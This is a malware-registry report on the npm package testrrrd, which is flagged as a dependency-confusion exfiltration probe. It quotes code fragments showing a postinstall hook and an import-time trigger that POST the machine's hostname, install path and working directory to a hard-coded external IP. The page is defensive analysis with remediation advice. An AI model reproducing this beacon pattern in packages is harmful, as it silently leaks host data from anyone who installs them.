registry / Data exfiltration / testrrrd

testrrrd

Compatibility shim.

This report shows the evidence for testrrrd@2.0.1. 7 of 8 known versions are blocked or flagged. See all versions.

This package appears in our research on the dependency confusion probes at version 99 and above, with how it works, the full package list and what to do if you installed it.

AI Security Review

scanned 14d ago · by lpm-firewall-ai

Source inspection confirms an automatic postinstall transmission of host and local path metadata to a fixed external endpoint, with an additional import-time trigger. This is concrete data exfiltration behavior.

Static reason

One or more suspicious static signals were detected.; source fingerprint signature matched known malicious package; routed for review

Trigger

npm postinstall, or importing index.js

Impact

The endpoint receives identifying details about the machine and package installation without an explicit runtime action by the user.

Mechanism

The beacon builds a payload with the hostname, install path, and working directory, then sends it in an HTTP POST request.

Attack narrative

The postinstall hook runs beacon.cjs, which posts machine and installation path metadata to a fixed external IP over HTTP. The package entrypoint also invokes the same beacon on import.

AI rationale

Evidence

package.jsonbeacon.cjsindex.js

Network endpoints1

185.158.107.175:8787/_ah/dc

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

package.json runs beacon.cjs automatically during postinstall.
beacon.cjs sends a POST request to a fixed external HTTP endpoint.
The beacon payload includes the machine hostname, install path, and working directory.
Importing index.js also fires the beacon.

Evidence against

Behavioral surface

Source

Network

Supply chain

UrlStrings

ManifestNo manifest risk signals triggered.

scanned 2 file(s), 2.27 KB of source, external domains: 185.158.107.175

Source & flagged code

8 flagged

package.jsonView file

•scripts.postinstall = node beacon.cjs

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

6"scripts": { "postinstall": "node beacon.cjs" }, "files": [ "index.js",

High

Suspicious Lifecycle Evidence

package.json runs beacon.cjs automatically during postinstall.

package.jsonView on unpkg · L6

beacon.cjsView file

3// recipient can correlate an install. No data beyond that is collected or sent. L4: var BEACON = "http://185.158.107.175:8787/_ah/dc"; L5: var PKG = "testrrrd"; ... L10: var lib = u.protocol === 'https:' ? require('https') : require('http'); L11: var data = Buffer.from(JSON.stringify(payload)); L12: var req = lib.request({ ... L20: req.setTimeout(5000, function () { try { req.destroy(); } catch (e) {} resolve(); }); L21: req.write(data); req.end(); L22: } catch (e) { resolve(); } ... L27: package: PKG, L28: hostname: (function () { try { return require('os').hostname(); } catch (e) { return ''; } })(), L29: installPath: __dirname,

High

Host Fingerprint Exfiltration

Source collects local host identity data and sends it to an external endpoint.

beacon.cjsView on unpkg · L3

•matchType = malicious_source_fingerprint_signature signature = a5258e167635ba3a signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = testrrrd@2.0.0 matchedPath = beacon.cjs matchedIdentity = npm:dGVzdHJycmQ:2.0.0 similarity = 1.000 shingleOverlap = 2 summary = package final verdict is malicious

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

beacon.cjsView on unpkg

4var BEACON = "http://185.158.107.175:8787/_ah/dc"; var PKG = "testrrrd"; function _post(payload) { return new Pro

High

Ai Review Evidence

beacon.cjs sends a POST request to a fixed external HTTP endpoint.

beacon.cjsView on unpkg · L4

21req.write(data); req.end(); } catch (e) { resolve(); } }); } function fire() { var payload = { package: PKG, hostname: (function

High

Ai Review Evidence

beacon.cjs sends a POST request to a fixed external HTTP endpoint.

beacon.cjsView on unpkg · L21

28hostname: (function () { try { return require('os').hostname(); } catch (e) { return ''; } })(), installPath: __dirname, cwd: (function () { try { return process.cwd(); } catch (e) { return ''; } })(), userAg

High

Ai Review Evidence

The beacon payload includes the machine hostname, install path, and working directory.

beacon.cjsView on unpkg · L28

index.jsView file

4try { require('./beacon.cjs').fire(); } catch (e) {} // Export a defensive Proxy: any property access returns a no-op function, so a // bundler t

High

Ai Review Evidence

Importing index.js also fires the beacon.

index.jsView on unpkg · L4

Source & flagged code

8 flagged · loading source

package.jsonView file

•scripts.postinstall = node beacon.cjs

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

6"scripts": { "postinstall": "node beacon.cjs" }, "files": [ "index.js",

High

Suspicious Lifecycle Evidence

package.json runs beacon.cjs automatically during postinstall.

package.jsonView on unpkg · L6

beacon.cjsView file

Findings

8 High1 Medium2 Low

HighInstall Time Lifecycle Scriptspackage.json

HighHost Fingerprint Exfiltrationbeacon.cjs

HighKnown Malware Source Fingerprint Signaturebeacon.cjs

HighSuspicious Lifecycle Evidencepackage.json

HighAi Review Evidencebeacon.cjs

HighAi Review Evidenceindex.js

MediumNetwork

LowScripts Present

LowUrl Strings

Affected versions and remediation

This report applies to testrrrd@2.0.1.

The versions list below shows the verdict for each recorded version.

Avoid installing testrrrd@2.0.1. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-10-09 11:11:54.402Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

Versions

8 known versions

2.0.1latestshownMaliciousData ExfiltrationBlockPublishedOct 8, 2026, 6:42 PM 0.0.1MaliciousData ExfiltrationBlockPublishedOct 8, 2026, 6:41 PM 3.0.0MaliciousData ExfiltrationBlockPublishedOct 8, 2026, 6:41 PM 99.0.1MaliciousData ExfiltrationBlockPublishedOct 8, 2026, 6:41 PM

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Versions

Related packages

Other data exfiltration packages

Behavioral surface

Related packages

Other data exfiltration packages

Source & flagged code